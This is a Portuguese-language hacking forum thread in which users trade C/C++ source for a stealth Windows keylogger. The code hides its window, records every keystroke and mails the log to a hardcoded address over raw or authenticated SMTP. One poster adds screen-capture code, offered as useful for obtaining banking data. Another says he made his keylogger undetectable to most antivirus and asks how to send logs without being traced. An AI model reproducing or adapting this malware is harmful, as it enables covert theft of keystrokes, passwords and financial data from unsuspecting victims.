Duvida: Como Enviar E-mail Usando C++

Iniciado por keenlanas, 01 de Maio , 2009, 02:14:49 PM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

keenlanas

Pessoal, tou tentando escrever um keylogger, pra saber como ele funciona e talz e me deparei com uma dificuldade.

Até onde eu sei, o keylogger (ou a maioria deles), manda o arquivo de log por e-mail... Só que não consigo fazer esse envio de e-mail no C++.

Alguém teria uma dica? Estou escrevendo um código bem didático, que pretendo postar aqui depois...

Valew pessoal, até mais.

Insano



/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* *
* File: keymail.c Ver. 0.6 *
* *
* Purpose: a stealth (somewhat) key logger, writes to a log file then sends *
* and email to whoever is set in the #define options at compile time. *
* This code is for educational uses, don't be an ass hat with it. *
* White Scorpion (http://www.white-scorpion.nl) did the initial work on the key *
* logger, but he has gone on to bigger and better things. *
* This version was crafted by Irongeek (http://www.Irongeek.com), who tacked on *
* some code to make it send emails, along with a few other changes. *
* If some of the code is crappy, blame Irongeek and not White Scorpion. *
* Please send Irongeek improvements and he will post the changes and give you *
* credit for your contributions. *
* *
* This program is free software; you can redistribute it and/or *
* modify it under the terms of the GNU General Public License *
* as published by the Free Software Foundation; either version 2 *
* of the License, or (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program; if not, write to the Free Software *
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
* *
* Change log: *
* 1/3/06 On Ed Rguyl's recommendation I changed how malloc was used. *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*
Compile notes: I used Dev-C++ 4.9.9.2 to compie this. if you get an error like:
Linker error] undefined reference to `WSAStartup@8'
Add this:
-lws2_32
to Tools->Compiler Options under the section on compile flags.
*/
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 100
/*If you don't know the mail exchange server for an address for the following
"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for
whatever email address you want. YOU MUST CHANGE THESE SETTINGS OR
IT WILL NOT WORK!!! */
#define cmailserver "gmail-smtp-in.l.google.com"
#define cemailto "irong33k@gmail.com"
#define cemailfrom "irong33k@gmail.com"


#define cemailsubject "The Log Dude"
#define LogLength 500
#define FileName "keylog.log"
#define SMTPLog "SMTP.log"
#define cemailsubject "The Log Dude"

int test_key(void);
int main(void)
{
//Uncomment the lines below to put the keylogger in stealh mode.
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);

/* if (test==2)
{//the path in which the file needs to be
char *path="c:\\%windir%\\svchost.exe";
create=create_key(path);
} */

int t=get_keys();
return t;
}

int get_keys(void)
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");

short character;
while(1)
{
sleep(10);/*to prevent 100% cpu usage*/
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *file;
file=fopen(FileName,"a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("\r\n[SHIFT]\r\n",file);
fclose(file);
break;
case VK_RETURN:
fputs("\r\n[ENTER]\r\n",file);
fclose(file);
break;
case VK_BACK:
fputs("\r\n[BACKSPACE]\r\n",file);
fclose(file);
break;
case VK_TAB:
fputs("\r\n[TAB]\r\n",file);
fclose(file);
break;
case VK_CONTROL:
fputs("\r\n[CTRL]\r\n",file);
fclose(file);
break;
case VK_DELETE:
fputs("\r\n[DEL]\r\n",file);
fclose(file);
break;
case VK_OEM_1:
fputs("\r\n[;:]\r\n",file);
fclose(file);
break;
case VK_OEM_2:
fputs("\r\n[/?]\r\n",file);
fclose(file);
break;
case VK_OEM_3:
fputs("\r\n[`~]\r\n",file);
fclose(file);
break;
case VK_OEM_4:
fputs("\r\n[ [{ ]\r\n",file);
fclose(file);
break;
case VK_OEM_5:
fputs("\r\n[\\|]\r\n",file);
fclose(file);
break;
case VK_OEM_6:
fputs("\r\n[ ]} ]\r\n",file);
fclose(file);
break;
case VK_OEM_7:
fputs("\r\n['\"]\r\n",file);
fclose(file);
break;
case 187:
fputc('+',file);
fclose(file);
break;
case 188:
fputc(',',file);
fclose(file);
break;
case 189:
fputc('-',file);
fclose(file);
break;
case 190:
fputc('.',file);
fclose(file);
break;
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("\r\n[CAPS LOCK]\r\n",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
}
}
}
FILE *file;
file=fopen(FileName,"rb");
fseek(file,0,SEEK_END); //go to end
len=ftell(file); //get position at end (length)
if(len>=LogLength) {
fseek(file,0,SEEK_SET);//go to beg.
buf=(char *)malloc(len);//malloc buffer
freadindex=fread(buf,1,len,file);//read into buffer
buf[freadindex] = '\0';//Extra bit I have to add to make it a sting
MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
fclose(file);
file=fopen(FileName,"w");
}

fclose(file);
//free (buf);

}
return EXIT_SUCCESS;
}

int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage) {
SOCKET sockfd;
WSADATA wsaData;
FILE *smtpfile;

#define bufsize 300
int bytes_sent; /* Sock FD */
int err;
struct hostent *host; /* info from gethostbyname */
struct sockaddr_in dest_addr; /* Host Address */
char line[1000];
char *Rec_Buf = (char*) malloc(bufsize+1);
smtpfile=fopen(SMTPLog,"a+");
if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
fputs("WSAStartup failed",smtpfile);
WSACleanup();
return -1;
}
if ( (host=gethostbyname(mailserver)) == NULL) {
perror("gethostbyname");
exit(1);
}
memset(&dest_addr,0,sizeof(dest_addr));
memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

/* Prepare dest_addr */
dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
dest_addr.sin_port= htons(25); /* PORT defined above */

/* Get socket */

if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
perror("socket");
exit(1);
}
/* Connect !*/
fputs("Connecting....\n",smtpfile);

if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
perror("connect");
exit(1);
}
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"helo me.somepalace.com\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"MAIL FROM:<");
strncat(line,emailfrom,strlen(emailfrom));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"RCPT TO:<");
strncat(line,emailto,strlen(emailto));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"DATA\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
sleep(waittime);
strcpy(line,"To:");
strcat(line,emailto);
strcat(line,"\n");
strcat(line,"From:");
strcat(line,emailfrom);
strcat(line,"\n");
strcat(line,"Subject:");
strcat(line,emailsubject);
strcat(line,"\n");
strcat(line,emailmessage);
strcat(line,"\r\n.\r\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"quit\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
fclose(smtpfile);
#ifdef WIN32
closesocket(sockfd);
WSACleanup();
#else
close(sockfd);
#endif
}




Se seu objeivo é obter dados bancarios, aqui istá algo util que encontrei por aí.


PBITMAPINFO CreateBitmapInfoStructure(HBITMAP hBmp)
{
BITMAP bmp;
PBITMAPINFO pbmi;
WORD cClrBits;

//obtiene la altura, anchura, y profundidad del color de la imagen
if(!GetObject(hBmp,sizeof(BITMAP),(LPSTR)&bmp))return NULL;

cClrBits = 24;

/*
reserva la memoria para la estructura PBITMAPINFO, que contendrí la informacion
de la cabecera
*/
if(cClrBits!=24)
pbmi=(PBITMAPINFO)LocalAlloc(LPTR,sizeof(BITMAPINFOHEADER)+sizeof(RGBQUAD)*(1<<cClrBits>bmiHeader.biSize = sizeof( BITMAPINFOHEADER );
pbmi->bmiHeader.biWidth = bmp.bmWidth;
pbmi->bmiHeader.biHeight = bmp.bmHeight;
pbmi->bmiHeader.biPlanes = bmp.bmPlanes;
pbmi->bmiHeader.biBitCount = 24;

if(cClrBits<24>bmiHeader.biClrUsed=(1<<cClrBits>bmiHeader.biCompression = BI_RGB;
pbmi->bmiHeader.biSizeImage=(pbmi->bmiHeader.biWidth+7)/8*pbmi->bmiHeader.biHeight*cClrBits;
pbmi->bmiHeader.biClrImportant = 0;

return pbmi;
}

HRESULT SaveBitmap(char strFileName[128],PBITMAPINFO pbi,HBITMAP hBMP,HDC hDC)
{
HRESULT hr = E_FAIL;
HANDLE hf; // file handle
BITMAPFILEHEADER hdr; // bitmap file-header
PBITMAPINFOHEADER pbih; // bitmap info-header
LPBYTE lpBits; // memorypointer
DWORD dwTotal; // total count of bytes
DWORD cb; // incremental count of bytes
BYTE *hp; // byte pointer
DWORD dwTmp; // temp-variable


if(pbi==NULL)return E_FAIL;

pbih=(PBITMAPINFOHEADER)pbi;
lpBits=(LPBYTE)GlobalAlloc(GMEM_FIXED,pbih->biSizeImage);

if(!lpBits)return E_FAIL;

if(!GetDIBits(hDC,hBMP,0,(WORD)pbih->biHeight,lpBits,pbi,DIB_RGB_COLORS))return E_FAIL;

//crea el .bmp
hf=CreateFile(strFileName,GENERIC_READ|GENERIC_WRITE,(DWORD)0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,(HANDLE)NULL);

if(hf==INVALID_HANDLE_VALUE)return E_FAIL;

hdr.bfType = 0x4D42; // 0x42 = "B", 0x4D = "M"


hdr.bfSize=(DWORD)(sizeof(BITMAPFILEHEADER)+pbih->biSize+pbih->biClrUsed*sizeof(RGBQUAD)+pbih->biSizeImage);
hdr.bfReserved1=0;
hdr.bfReserved2=0;

hdr.bfOffBits=(DWORD)sizeof(BITMAPFILEHEADER)+pbih->biSize+pbih->biClrUsed*sizeof(RGBQUAD);


if(!WriteFile(hf,(LPVOID)&hdr,sizeof(BITMAPFILEHEADER),(LPDWORD)&dwTmp,NULL))return E_FAIL;

if(!WriteFile(hf,(LPVOID)pbih,sizeof(BITMAPINFOHEADER)+pbih->biClrUsed*sizeof(RGBQUAD),(LPDWORD)&dwTmp,(NULL)))return E_FAIL;


dwTotal=cb=pbih->biSizeImage;
hp=lpBits;

if(!WriteFile(hf,(LPSTR)hp,(int)cb,(LPDWORD)&dwTmp,NULL))return E_FAIL;
if(!CloseHandle(hf))return E_FAIL;

GlobalFree((HGLOBAL)lpBits);

return S_OK;
}

/*
uso: CapturaPantalla(posicion_inicial_x,posicion_inicial_y,posicion_final_x,posicion_final_y);
*/

void CapturaPantalla(unsigned int Ax,unsigned int Ay,unsigned int Bx,unsigned int By,char *Ruta)
{
BYTE *mem;
int bpp,c;
HWND HwndSrc;
HDC HdcSrc;
HDC HdcMemory;
HDC HdcStrech;
HBITMAP Hbmp;
HBITMAP HbmpStrech;
HBITMAP HbmpPrev;
HBITMAP HbmpPrevStrech;
HBITMAP BmpPrueba;

HwndSrc=GetDesktopWindow(); //almacena el manejador del escritorio
HdcSrc=GetWindowDC(HwndSrc); //se obtiene el DC del escritorio
HdcMemory=CreateCompatibleDC(HdcSrc); //se crea una copia del DC del escritorio
HdcStrech=CreateCompatibleDC(HdcSrc); //Cd que almacenara la imagen pequeña
Hbmp=CreateCompatibleBitmap(HdcSrc,1024,768); //se cra un bitmap del DC del escritorio
HbmpStrech=CreateCompatibleBitmap(HdcSrc,Bx-Ax,By-Ay); //bitmap que almacenara el Strech
HbmpPrev=(HBITMAP)SelectObject(HdcMemory,Hbmp); //se asocia el bitmap con el DC
HbmpPrevStrech=(HBITMAP)SelectObject(HdcStrech,HbmpStrech);

BitBlt(HdcMemory,0,0,1024,768,HdcSrc,Ax,Ay,SRCCOPY);
StretchBlt(HdcStrech,0,0,1024,768,HdcMemory,0,0,1024,768,SRCCOPY);
HbmpStrech=(HBITMAP)SelectObject(HdcStrech,HbmpPrevStrech);
Hbmp=(HBITMAP)SelectObject(HdcMemory,HbmpPrev);

bpp=1024*768*8;

c=GetBitmapBits(HbmpStrech,0,0);
mem=(BYTE*)malloc((c-1)*sizeof(BYTE*));
memset(mem,0,sizeof(mem));

GetBitmapBits(HbmpStrech,c,mem);
BmpPrueba = CreateCompatibleBitmap(HdcSrc,Bx-Ax,By-Ay);
SetBitmapBits(BmpPrueba,c,mem);
SaveBitmap(Ruta,CreateBitmapInfoStructure(BmpPrueba),BmpPrueba,HdcSrc);

DeleteDC(HdcSrc);
DeleteDC(HdcMemory);
DeleteDC(HdcStrech);
DeleteObject(Hbmp);
DeleteObject(HbmpPrev);
DeleteObject(HbmpStrech);
DeleteObject(HbmpPrevStrech);

return;
}



[]'s

keenlanas

Valew Cara!!

O código do KL eu tenho, peguei um e "entendi"... Até deixei ele indectável e talz... Menos pro KIS...

Cara, o KIS pega simplesmente qlqr prog que eu faça e coloque a função GetAsyncKeyState, é um MONSTRO!

Enfim, vou estudar o código que me passou, pq tem uma parte que manda e-mail nele, se funcionar certinho eu falo.

Se caso alguém tiver outro código ou dica, por favor o//
Gostaria de saber outras maneiras eficientes de mandar o Log que o KL gera, pra que eu possa pega-lo sem que eu possa ser "rastreado"...

Valew de novo Insano!

keenlanas

Ae, resolvi o problema com e-mail :D

Mto bom, apromorei minhas habilidades com Socket e ainda aprendi um pouco sobre SMTP...

Anyway, o código da função:

int MailIt(std::string arq)
{
#define bufsize 300
#define waittime 100

#define cmailserver "smtps.bol.com.br"
#define cemailto    "destinatario@server.com"
#define cemailfrom  "rementente@bol.com.br" //recomendo o bol, pq o servidor não pode usar SSL e o do bol não usa o/
#define cemailsubject "Log"
 
std::string mailserver=cmailserver, emailto=cemailto,
             emailfrom=cemailfrom, emailsubject=cemailfrom;
 
SOCKET sockfd;
WSADATA wsaData;

int bytes_sent; /* Sock FD */
int err;
struct hostent *host;  /* info from gethostbyname */
struct sockaddr_in dest_addr; /* Host Address */

std::string line;
char Rec_Buf[bufsize+1];

if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR)
{
  WSACleanup();
  return 0;
}

if ( (host = gethostbyname( mailserver.c_str() )) == NULL)
{
  perror("gethostbyname");
  return 0;
}

memset(&dest_addr,0,sizeof(dest_addr));
memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

/* Prepare dest_addr */
dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
dest_addr.sin_port= htons(25); /* PORT defined above */

/* Get socket */
if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0)
{
  perror("socket");
  return 0;
}

if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1)
{
  perror("connect");
  return 0;
}

std::string username="usuario", pass="senha";
username = base64_encode(reinterpret_cast<const unsigned char*>(username.c_str()), username.length());
pass = base64_encode(reinterpret_cast<const unsigned char*>(pass.c_str()), pass.length());

Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);
Rec_Buf[err] = '\0';
//cout << Rec_Buf;

line="ehlo me.somepalace.com\n";
bytes_sent = send(sockfd, line.c_str(), line.length(), 0);
Sleep(waittime);
err=recv(sockfd, Rec_Buf, bufsize, 0);
Rec_Buf[err] = '\0';
//cout << Rec_Buf;

line="auth login\n";
bytes_sent = send(sockfd, line.c_str(), line.length(), 0);
Sleep(waittime);
err=recv(sockfd, Rec_Buf, bufsize, 0);
Rec_Buf[err] = '\0';
//cout << Rec_Buf;

line = username + "\n";
bytes_sent = send(sockfd, line.c_str(), line.length(), 0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);
Rec_Buf[err] = '\0';
//cout << Rec_Buf;

line = pass + "\n";
bytes_sent = send(sockfd, line.c_str(), line.length(), 0);
Sleep(waittime);
err=recv(sockfd, Rec_Buf, bufsize, 0);
Rec_Buf[err] = '\0';
//cout << Rec_Buf;

line = "MAIL FROM:<" + emailfrom + ">\n";
bytes_sent = send(sockfd, line.c_str(), line.length(), 0);
Sleep(waittime);
err=recv(sockfd, Rec_Buf, bufsize, 0);
Rec_Buf[err] = '\0';
//cout << Rec_Buf;

line = "RCPT TO:<" + emailto + ">\n";
bytes_sent = send(sockfd, line.c_str(), line.length(), 0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);
Rec_Buf[err] = '\0';
//cout << Rec_Buf;

line = "DATA\n";
bytes_sent = send(sockfd, line.c_str(), line.length(), 0);
Sleep(waittime);
err=recv(sockfd, Rec_Buf, bufsize,0);
Rec_Buf[err] = '\0';

line =  "To:" + emailto + "\n";
line += "From:" + emailfrom + "\n";
line += "Subject:" + emailsubject + "\n";
bytes_sent = send(sockfd, line.c_str(), line.length(), 0);

FILE *f = fopen(arq.c_str(), "r");

char aux[LenLog+1];

do 
{
   fgets(aux, LenLog, f);
   aux[LenLog]='\0';
   line=aux;
   //cout << line;
   bytes_sent = send(sockfd, line.c_str(), line.length(), 0);
} while(!feof(f));

fclose(f);

line = "\r\n.\r\n";
bytes_sent = send(sockfd, line.c_str(), line.length(), 0);
Sleep(waittime);
err=recv(sockfd, Rec_Buf, bufsize,0);
Rec_Buf[err] = '\0';
//cout << Rec_Buf;

line = "quit\n";
bytes_sent = send(sockfd, line.c_str(), line.length(), 0);
Sleep(waittime);
err=recv(sockfd, Rec_Buf, bufsize, 0);
Rec_Buf[err] = '\0';
//cout << Rec_Buf;

#ifdef WIN32
  closesocket(sockfd);
  WSACleanup();
#else
  close(sockfd);
#endif

if (strstr(Rec_Buf,"Bye")==NULL)
  return 0;
else
  return 1;
}


No código, eu passo o caminho do arquivo como parametro... Nada de mais, foi o que me ocorreu na hora, vc pode ignorar isso e tirar pra por diretamente no código.

Mas eh importante gravar num arquivo antes de enviar o log. Guardar todo texto numa variavel seria inviavel.

Mais simples é ir gravando num arquivo e depois ler de acordo com o tamanho que vc quiser.

A função pra converter pra Base64:

std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len)
{
  static const std::string base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
                                          "abcdefghijklmnopqrstuvwxyz"
                                          "0123456789+/";
  std::string ret;
  int i = 0;
  int j = 0;
  unsigned char char_array_3[3];
  unsigned char char_array_4[4];

  while (in_len--) {
    char_array_3[i++] = *(bytes_to_encode++);
    if (i == 3) {
      char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
      char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
      char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
      char_array_4[3] = char_array_3[2] & 0x3f;

      for(i = 0; (i <4) ; i++)
        ret += base64_chars[char_array_4[i]];
      i = 0;
    }
  }

  if (i)
  {
    for(j = i; j < 3; j++)
      char_array_3[j] = '\0';

    char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
    char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
    char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
    char_array_4[3] = char_array_3[2] & 0x3f;

    for (j = 0; (j < i + 1); j++)
      ret += base64_chars[char_array_4[j]];

    while((i++ < 3))
      ret += '=';

  }

  return ret;
}


Essa função é pra converter o login e a senha pra base 64... o/

Coloque num .h ou antes do código.


kynderosso

Sei que ja faz um tempão que este topico ta aqui mas...
gostaria de saber se alguem aí sabe como que eu fasso para enviar o relatorio pelo porem como anexo!
por que eu não preciso do KL em si somente do sistema de envido de email!
e por hora não axei nada que possa me ajudar nos outros sites!
até +
abrass... e desde ja valew!